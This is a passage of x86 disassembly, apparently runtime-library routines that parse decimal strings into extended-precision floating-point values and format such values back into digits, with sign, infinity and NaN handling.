mov eax, [ebp+var_88] sub eax, 2Bh mov [ebp+var_88], eax cmp [ebp+var_88], 3Ah ja short loc_42D66B mov edx, [ebp+var_88] xor ecx, ecx mov cl, byte_42DEAA[edx] jmp off_42DE9A[ecx*4] loc_42D647: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE9Eo mov [ebp+var_4C], 1 jmp short loc_42D67B ; --------------------------------------------------------------------------- loc_42D650: ; CODE XREF: sub_42D450+D5j ; sub_42D450+1F0j ; DATA XREF: ... mov [ebp+var_4C], 6 jmp short loc_42D67B ; --------------------------------------------------------------------------- loc_42D659: ; CODE XREF: sub_42D450+D5j ; sub_42D450+1F0j ; DATA XREF: ... mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_42D67B ; --------------------------------------------------------------------------- loc_42D66B: ; CODE XREF: sub_42D450+D5j ; sub_42D450+1E0j ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42D67B: ; CODE XREF: sub_42D450+1A3j ; sub_42D450+1BEj ... jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42D680: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE72o movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42D6A4 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42D6A4 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42D6E6 ; --------------------------------------------------------------------------- loc_42D6A4: ; CODE XREF: sub_42D450+237j ; sub_42D450+240j movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_443B74 cmp edx, eax jnz short loc_42D6BC mov [ebp+var_4C], 5 jmp short loc_42D6E6 ; --------------------------------------------------------------------------- loc_42D6BC: ; CODE XREF: sub_42D450+261j mov cl, byte ptr [ebp+var_3C] mov [ebp+var_8C], cl cmp [ebp+var_8C], 30h jz short loc_42D6D0 jmp short loc_42D6D9 ; --------------------------------------------------------------------------- loc_42D6D0: ; CODE XREF: sub_42D450+27Cj mov [ebp+var_4C], 1 jmp short loc_42D6E6 ; --------------------------------------------------------------------------- loc_42D6D9: ; CODE XREF: sub_42D450+27Ej mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_42D6E6: ; CODE XREF: sub_42D450+252j ; sub_42D450+26Aj ... jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42D6EB: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE76o mov [ebp+var_54], 1 jmp short loc_42D705 ; --------------------------------------------------------------------------- loc_42D6F4: ; CODE XREF: sub_42D450:loc_42D77Fj mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42D705: ; CODE XREF: sub_42D450+2A2j cmp dword_443B70, 1 jle short loc_42D729 push 4 mov eax, [ebp+var_3C] and eax, 0FFh push eax call sub_41DA90 add esp, 8 mov [ebp+var_90], eax jmp short loc_42D747 ; --------------------------------------------------------------------------- loc_42D729: ; CODE XREF: sub_42D450+2BCj mov ecx, [ebp+var_3C] and ecx, 0FFh mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_90], eax loc_42D747: ; CODE XREF: sub_42D450+2D7j cmp [ebp+var_90], 0 jz short loc_42D784 cmp [ebp+var_70], 19h jnb short loc_42D776 mov ecx, [ebp+var_70] add ecx, 1 mov [ebp+var_70], ecx movsx edx, byte ptr [ebp+var_3C] sub edx, 30h mov eax, [ebp+var_68] mov [eax], dl mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx jmp short loc_42D77F ; --------------------------------------------------------------------------- loc_42D776: ; CODE XREF: sub_42D450+304j mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx loc_42D77F: ; CODE XREF: sub_42D450+324j jmp loc_42D6F4 ; --------------------------------------------------------------------------- loc_42D784: ; CODE XREF: sub_42D450+2FEj movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_443B74 cmp eax, ecx jnz short loc_42D79C mov [ebp+var_4C], 4 jmp short loc_42D7FE ; --------------------------------------------------------------------------- loc_42D79C: ; CODE XREF: sub_42D450+341j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_94], edx mov eax, [ebp+var_94] sub eax, 2Bh mov [ebp+var_94], eax cmp [ebp+var_94], 3Ah ja short loc_42D7EE mov edx, [ebp+var_94] xor ecx, ecx mov cl, byte_42DEF1[edx] jmp off_42DEE5[ecx*4] loc_42D7D3: ; DATA XREF: ___:0042DEE9o mov [ebp+var_4C], 6 jmp short loc_42D7FE ; --------------------------------------------------------------------------- loc_42D7DC: ; CODE XREF: sub_42D450+37Cj ; DATA XREF: ___:off_42DEE5o mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_42D7FE ; --------------------------------------------------------------------------- loc_42D7EE: ; CODE XREF: sub_42D450+36Cj ; sub_42D450+37Cj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42D7FE: ; CODE XREF: sub_42D450+34Aj ; sub_42D450+38Aj ... jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42D803: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE7Ao mov [ebp+var_54], 1 mov [ebp+var_C], 1 cmp [ebp+var_70], 0 jnz short loc_42D83E jmp short loc_42D82A ; --------------------------------------------------------------------------- loc_42D819: ; CODE XREF: sub_42D450+3ECj mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42D82A: ; CODE XREF: sub_42D450+3C7j movsx edx, byte ptr [ebp+var_3C] cmp edx, 30h jnz short loc_42D83E mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_42D819 ; --------------------------------------------------------------------------- loc_42D83E: ; CODE XREF: sub_42D450+3C5j ; sub_42D450+3E1j jmp short loc_42D851 ; --------------------------------------------------------------------------- loc_42D840: ; CODE XREF: sub_42D450:loc_42D8C9j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42D851: ; CODE XREF: sub_42D450:loc_42D83Ej cmp dword_443B70, 1 jle short loc_42D876 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41DA90 add esp, 8 mov [ebp+var_98], eax jmp short loc_42D893 ; --------------------------------------------------------------------------- loc_42D876: ; CODE XREF: sub_42D450+408j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_98], ecx loc_42D893: ; CODE XREF: sub_42D450+424j cmp [ebp+var_98], 0 jz short loc_42D8CE cmp [ebp+var_70], 19h jnb short loc_42D8C9 mov edx, [ebp+var_70] add edx, 1 mov [ebp+var_70], edx movsx eax, byte ptr [ebp+var_3C] sub eax, 30h mov ecx, [ebp+var_68] mov [ecx], al mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax loc_42D8C9: ; CODE XREF: sub_42D450+450j jmp loc_42D840 ; --------------------------------------------------------------------------- loc_42D8CE: ; CODE XREF: sub_42D450+44Aj movsx ecx, byte ptr [ebp+var_3C] mov [ebp+var_9C], ecx mov edx, [ebp+var_9C] sub edx, 2Bh mov [ebp+var_9C], edx cmp [ebp+var_9C], 3Ah ja short loc_42D920 mov ecx, [ebp+var_9C] xor eax, eax mov al, byte_42DF38[ecx] jmp off_42DF2C[eax*4] loc_42D905: ; DATA XREF: ___:0042DF30o mov [ebp+var_4C], 6 jmp short loc_42D930 ; --------------------------------------------------------------------------- loc_42D90E: ; CODE XREF: sub_42D450+4AEj ; DATA XREF: ___:off_42DF2Co mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov [ebp+var_4C], 0Bh jmp short loc_42D930 ; --------------------------------------------------------------------------- loc_42D920: ; CODE XREF: sub_42D450+49Ej ; sub_42D450+4AEj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42D930: ; CODE XREF: sub_42D450+4BCj ; sub_42D450+4CEj jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42D935: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE7Eo mov [ebp+var_C], 1 cmp dword_443B70, 1 jle short loc_42D961 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41DA90 add esp, 8 mov [ebp+var_A0], eax jmp short loc_42D97E ; --------------------------------------------------------------------------- loc_42D961: ; CODE XREF: sub_42D450+4F3j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_A0], ecx loc_42D97E: ; CODE XREF: sub_42D450+50Fj cmp [ebp+var_A0], 0 jz short loc_42D999 mov [ebp+var_4C], 4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42D9A6 ; --------------------------------------------------------------------------- loc_42D999: ; CODE XREF: sub_42D450+535j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_42D9A6: ; CODE XREF: sub_42D450+547j jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42D9AB: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE82o mov ecx, [ebp+var_4] sub ecx, 2 mov [ebp+var_64], ecx movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42D9D8 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42D9D8 mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42DA2D ; --------------------------------------------------------------------------- loc_42D9D8: ; CODE XREF: sub_42D450+56Bj ; sub_42D450+574j mov dl, byte ptr [ebp+var_3C] mov [ebp+var_A4], dl cmp [ebp+var_A4], 2Bh jz short loc_42DA17 cmp [ebp+var_A4], 2Dh jz short loc_42DA07 cmp [ebp+var_A4], 30h jz short loc_42D9FE jmp short loc_42DA20 ; --------------------------------------------------------------------------- loc_42D9FE: ; CODE XREF: sub_42D450+5AAj mov [ebp+var_4C], 8 jmp short loc_42DA2D ; --------------------------------------------------------------------------- loc_42DA07: ; CODE XREF: sub_42D450+5A1j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_42DA2D ; --------------------------------------------------------------------------- loc_42DA17: ; CODE XREF: sub_42D450+598j mov [ebp+var_4C], 7 jmp short loc_42DA2D ; --------------------------------------------------------------------------- loc_42DA20: ; CODE XREF: sub_42D450+5ACj mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_42DA2D: ; CODE XREF: sub_42D450+586j ; sub_42D450+5B5j ... jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42DA32: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE8Ao mov [ebp+var_18], 1 jmp short loc_42DA4C ; --------------------------------------------------------------------------- loc_42DA3B: ; CODE XREF: sub_42D450+605j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42DA4C: ; CODE XREF: sub_42D450+5E9j movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 30h jnz short loc_42DA57 jmp short loc_42DA3B ; --------------------------------------------------------------------------- loc_42DA57: ; CODE XREF: sub_42D450+603j movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42DA7B movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42DA7B mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42DA8B ; --------------------------------------------------------------------------- loc_42DA7B: ; CODE XREF: sub_42D450+60Ej ; sub_42D450+617j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42DA8B: ; CODE XREF: sub_42D450+629j jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42DA90: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE86o movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_42DAB4 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_42DAB4 mov [ebp+var_4C], 9 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42DADE ; --------------------------------------------------------------------------- loc_42DAB4: ; CODE XREF: sub_42D450+647j ; sub_42D450+650j mov al, byte ptr [ebp+var_3C] mov [ebp+var_A8], al cmp [ebp+var_A8], 30h jz short loc_42DAC8 jmp short loc_42DAD1 ; --------------------------------------------------------------------------- loc_42DAC8: ; CODE XREF: sub_42D450+674j mov [ebp+var_4C], 8 jmp short loc_42DADE ; --------------------------------------------------------------------------- loc_42DAD1: ; CODE XREF: sub_42D450+676j mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_64] mov [ebp+var_4], ecx loc_42DADE: ; CODE XREF: sub_42D450+662j ; sub_42D450+67Fj jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE8Eo mov [ebp+var_18], 1 mov [ebp+var_7C], 0 jmp short loc_42DB04 ; --------------------------------------------------------------------------- loc_42DAF3: ; CODE XREF: sub_42D450:loc_42DB72j mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42DB04: ; CODE XREF: sub_42D450+6A1j cmp dword_443B70, 1 jle short loc_42DB29 push 4 mov edx, [ebp+var_3C] and edx, 0FFh push edx call sub_41DA90 add esp, 8 mov [ebp+var_AC], eax jmp short loc_42DB46 ; --------------------------------------------------------------------------- loc_42DB29: ; CODE XREF: sub_42D450+6BBj mov eax, [ebp+var_3C] and eax, 0FFh mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_AC], edx loc_42DB46: ; CODE XREF: sub_42D450+6D7j cmp [ebp+var_AC], 0 jz short loc_42DB77 mov eax, [ebp+var_7C] imul eax, 0Ah movsx ecx, byte ptr [ebp+var_3C] lea edx, [eax+ecx-30h] mov [ebp+var_7C], edx cmp [ebp+var_7C], 1450h jle short loc_42DB72 mov [ebp+var_7C], 1451h jmp short loc_42DB77 ; --------------------------------------------------------------------------- loc_42DB72: ; CODE XREF: sub_42D450+717j jmp loc_42DAF3 ; --------------------------------------------------------------------------- loc_42DB77: ; CODE XREF: sub_42D450+6FDj ; sub_42D450+720j mov eax, [ebp+var_7C] mov [ebp+var_14], eax jmp short loc_42DB90 ; --------------------------------------------------------------------------- loc_42DB7F: ; CODE XREF: sub_42D450+78Bj mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42DB90: ; CODE XREF: sub_42D450+72Dj cmp dword_443B70, 1 jle short loc_42DBB5 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41DA90 add esp, 8 mov [ebp+var_B0], eax jmp short loc_42DBD2 ; --------------------------------------------------------------------------- loc_42DBB5: ; CODE XREF: sub_42D450+747j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_B0], ecx loc_42DBD2: ; CODE XREF: sub_42D450+763j cmp [ebp+var_B0], 0 jz short loc_42DBDD jmp short loc_42DB7F ; --------------------------------------------------------------------------- loc_42DBDD: ; CODE XREF: sub_42D450+789j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42DC53 ; --------------------------------------------------------------------------- loc_42DBEF: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE96o cmp [ebp+arg_18], 0 jz short loc_42DC43 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_64], eax mov cl, byte ptr [ebp+var_3C] mov [ebp+var_B4], cl cmp [ebp+var_B4], 2Bh jz short loc_42DC2B cmp [ebp+var_B4], 2Dh jz short loc_42DC1B jmp short loc_42DC34 ; --------------------------------------------------------------------------- loc_42DC1B: ; CODE XREF: sub_42D450+7C7j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_42DC41 ; --------------------------------------------------------------------------- loc_42DC2B: ; CODE XREF: sub_42D450+7BEj mov [ebp+var_4C], 7 jmp short loc_42DC41 ; --------------------------------------------------------------------------- loc_42DC34: ; CODE XREF: sub_42D450+7C9j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_42DC41: ; CODE XREF: sub_42D450+7D9j ; sub_42D450+7E2j jmp short loc_42DC53 ; --------------------------------------------------------------------------- loc_42DC43: ; CODE XREF: sub_42D450+7A3j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42DC53: ; CODE XREF: sub_42D450+CCj ; sub_42D450+D5j ... jmp loc_42D4F7 ; --------------------------------------------------------------------------- loc_42DC58: ; CODE XREF: sub_42D450+ABj mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx cmp [ebp+var_54], 0 jz loc_42DDA7 cmp [ebp+var_40], 0 jnz loc_42DDA7 cmp [ebp+var_78], 0 jnz loc_42DDA7 cmp [ebp+var_70], 18h jbe short loc_42DCAF movsx eax, [ebp+var_21] cmp eax, 5 jl short loc_42DC96 mov cl, [ebp+var_21] add cl, 1 mov [ebp+var_21], cl loc_42DC96: ; CODE XREF: sub_42D450+83Bj mov [ebp+var_70], 18h mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax loc_42DCAF: ; CODE XREF: sub_42D450+832j cmp [ebp+var_70], 0 jbe loc_42DD8A mov ecx, [ebp+var_68] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_42DCCD ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42D450+899j mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx loc_42DCCD: ; CODE XREF: sub_42D450+872j mov eax, [ebp+var_68] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42DCEB mov edx, [ebp+var_70] sub edx, 1 mov [ebp+var_70], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DCEB: ; CODE XREF: sub_42D450+885j lea ecx, [ebp+var_60] push ecx mov edx, [ebp+var_70] push edx lea eax, [ebp+var_38] push eax call sub_42D310 add esp, 0Ch cmp [ebp+var_74], 0 jge short loc_42DD0D mov ecx, [ebp+var_14] neg ecx mov [ebp+var_14], ecx loc_42DD0D: ; CODE XREF: sub_42D450+8B3j mov edx, [ebp+var_14] add edx, [ebp+var_6C] mov [ebp+var_14], edx cmp [ebp+var_18], 0 jnz short loc_42DD25 mov eax, [ebp+var_14] add eax, [ebp+arg_10] mov [ebp+var_14], eax loc_42DD25: ; CODE XREF: sub_42D450+8CAj cmp [ebp+var_C], 0 jnz short loc_42DD34 mov ecx, [ebp+var_14] sub ecx, [ebp+arg_14] mov [ebp+var_14], ecx loc_42DD34: ; CODE XREF: sub_42D450+8D9j cmp [ebp+var_14], 1450h jle short loc_42DD46 mov [ebp+var_40], 1 jmp short loc_42DD88 ; --------------------------------------------------------------------------- loc_42DD46: ; CODE XREF: sub_42D450+8EBj cmp [ebp+var_14], 0FFFFEBB0h jge short loc_42DD58 mov [ebp+var_78], 1 jmp short loc_42DD88 ; --------------------------------------------------------------------------- loc_42DD58: ; CODE XREF: sub_42D450+8FDj mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_14] push eax lea ecx, [ebp+var_60] push ecx call sub_4306E0 add esp, 0Ch mov dx, [ebp+var_60] mov [ebp+var_48], dx mov eax, [ebp+var_5E] mov [ebp+var_8], eax mov ecx, [ebp+var_5A] mov [ebp+var_10], ecx mov dx, [ebp+var_56] mov word ptr [ebp+var_50], dx loc_42DD88: ; CODE XREF: sub_42D450+8F4j ; sub_42D450+906j jmp short loc_42DDA7 ; --------------------------------------------------------------------------- loc_42DD8A: ; CODE XREF: sub_42D450+863j mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx loc_42DDA7: ; CODE XREF: sub_42D450+814j ; sub_42D450+81Ej ... cmp [ebp+var_54], 0 jnz short loc_42DDD6 mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov edx, [ebp+var_50] and edx, 0FFFFh mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_44] or ecx, 4 mov [ebp+var_44], ecx jmp short loc_42DE2D ; --------------------------------------------------------------------------- loc_42DDD6: ; CODE XREF: sub_42D450+95Bj cmp [ebp+var_40], 0 jz short loc_42DE01 mov word ptr [ebp+var_50], 7FFFh mov [ebp+var_10], 80000000h mov [ebp+var_8], 0 mov [ebp+var_48], 0 mov edx, [ebp+var_44] or edx, 2 mov [ebp+var_44], edx jmp short loc_42DE2D ; --------------------------------------------------------------------------- loc_42DE01: ; CODE XREF: sub_42D450+98Aj cmp [ebp+var_78], 0 jz short loc_42DE2D mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx mov edx, [ebp+var_44] or edx, 1 mov [ebp+var_44], edx loc_42DE2D: ; CODE XREF: sub_42D450+984j ; sub_42D450+9AFj ... mov eax, [ebp+arg_0] mov cx, [ebp+var_48] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+6], edx mov eax, [ebp+var_50] and eax, 0FFFFh mov ecx, [ebp+var_1C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax mov eax, [ebp+var_44] mov esp, ebp pop ebp retn sub_42D450 endp ; --------------------------------------------------------------------------- off_42DE6A dd offset loc_42D52C ; DATA XREF: sub_42D450+D5r dd offset loc_42D5CA dd offset loc_42D680 dd offset loc_42D6EB dd offset loc_42D803 dd offset loc_42D935 dd offset loc_42D9AB dd offset loc_42DA90 dd offset loc_42DA32 dd offset loc_42DAE3 dd offset loc_42DC53 dd offset loc_42DBEF off_42DE9A dd offset loc_42D659 ; DATA XREF: sub_42D450+1F0r dd offset loc_42D647 dd offset loc_42D650 dd offset loc_42D66B byte_42DEAA db 0 ; DATA XREF: sub_42D450+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 off_42DEE5 dd offset loc_42D7DC ; DATA XREF: sub_42D450+37Cr dd offset loc_42D7D3 dd offset loc_42D7EE byte_42DEF1 db 0 ; DATA XREF: sub_42D450+376r dw 2 dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h off_42DF2C dd offset loc_42D90E ; DATA XREF: sub_42D450+4AEr dd offset loc_42D905 dd offset loc_42D920 byte_42DF38 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1) ; DATA XREF: sub_42D450+4A8r db 0Dh dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push 0 push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-0Ch] push eax call sub_42D450 add esp, 1Ch mov [ebp-14h], eax mov ecx, [ebp+8] push ecx lea edx, [ebp-0Ch] push edx call sub_42A300 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 1 jnz short loc_42DFC8 mov eax, [ebp-14h] or al, 2 mov [ebp-14h], eax loc_42DFC8: ; CODE XREF: ___:0042DFBEj mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DFD0 proc near ; CODE XREF: sub_42A580+36p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov word ptr [ebp+var_64], 4D10h mov word ptr [ebp+var_3C], 4Dh mov word ptr [ebp+var_60], 9Ah mov [ebp+var_20], 134312F4h mov [ebp+var_54], 0CCh mov [ebp+var_53], 0CCh mov [ebp+var_52], 0CCh mov [ebp+var_51], 0CCh mov [ebp+var_50], 0CCh mov [ebp+var_4F], 0CCh mov [ebp+var_4E], 0CCh mov [ebp+var_4D], 0CCh mov [ebp+var_4C], 0CCh mov [ebp+var_4B], 0CCh mov [ebp+var_4A], 0FBh mov [ebp+var_49], 3Fh mov [ebp+var_58], 1 mov ax, [ebp+arg_8] mov word ptr [ebp+var_70], ax mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov [ebp+var_48], edx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 8000h mov word ptr [ebp+var_68], ax mov cx, word ptr [ebp+var_70] and cx, 7FFFh mov word ptr [ebp+var_70], cx mov edx, [ebp+var_68] and edx, 0FFFFh test edx, edx jz short loc_42E06E mov eax, [ebp+arg_14] mov byte ptr [eax+2], 2Dh jmp short loc_42E075 ; --------------------------------------------------------------------------- loc_42E06E: ; CODE XREF: sub_42DFD0+93j mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h loc_42E075: ; CODE XREF: sub_42DFD0+9Cj mov edx, [ebp+var_70] and edx, 0FFFFh test edx, edx jnz short loc_42E0BC cmp [ebp+var_24], 0 jnz short loc_42E0BC cmp [ebp+var_48], 0 jnz short loc_42E0BC mov eax, [ebp+arg_14] mov word ptr [eax], 0 mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h mov edx, [ebp+arg_14] mov byte ptr [edx+3], 1 mov eax, [ebp+arg_14] mov byte ptr [eax+4], 30h mov ecx, [ebp+arg_14] mov byte ptr [ecx+5], 0 mov eax, 1 jmp loc_42E4E2 ; --------------------------------------------------------------------------- loc_42E0BC: ; CODE XREF: sub_42DFD0+B0j ; sub_42DFD0+B6j ... mov edx, [ebp+var_70] and edx, 0FFFFh cmp edx, 7FFFh jnz loc_42E1B6 mov eax, [ebp+arg_14] mov word ptr [eax], 1 cmp [ebp+var_24], 80000000h jnz short loc_42E0E8 cmp [ebp+var_48], 0 jz short loc_42E11C loc_42E0E8: ; CODE XREF: sub_42DFD0+110j mov ecx, [ebp+var_24] and ecx, 40000000h test ecx, ecx jnz short loc_42E11C push offset dword_434D40 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_4184C0 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 6 mov [ebp+var_58], 0 jmp loc_42E1B1 ; --------------------------------------------------------------------------- loc_42E11C: ; CODE XREF: sub_42DFD0+116j ; sub_42DFD0+123j mov ecx, [ebp+var_68] and ecx, 0FFFFh test ecx, ecx jz short loc_42E15C cmp [ebp+var_24], 0C0000000h jnz short loc_42E15C cmp [ebp+var_48], 0 jnz short loc_42E15C push offset dword_434D38 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_4184C0 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 5 mov [ebp+var_58], 0 jmp short loc_42E1B1 ; --------------------------------------------------------------------------- loc_42E15C: ; CODE XREF: sub_42DFD0+157j ; sub_42DFD0+160j ... cmp [ebp+var_24], 80000000h jnz short loc_42E18F cmp [ebp+var_48], 0 jnz short loc_42E18F push offset dword_434D30 mov ecx, [ebp+arg_14] add ecx, 4 push ecx call sub_4184C0 add esp, 8 mov edx, [ebp+arg_14] mov byte ptr [edx+3], 5 mov [ebp+var_58], 0 jmp short 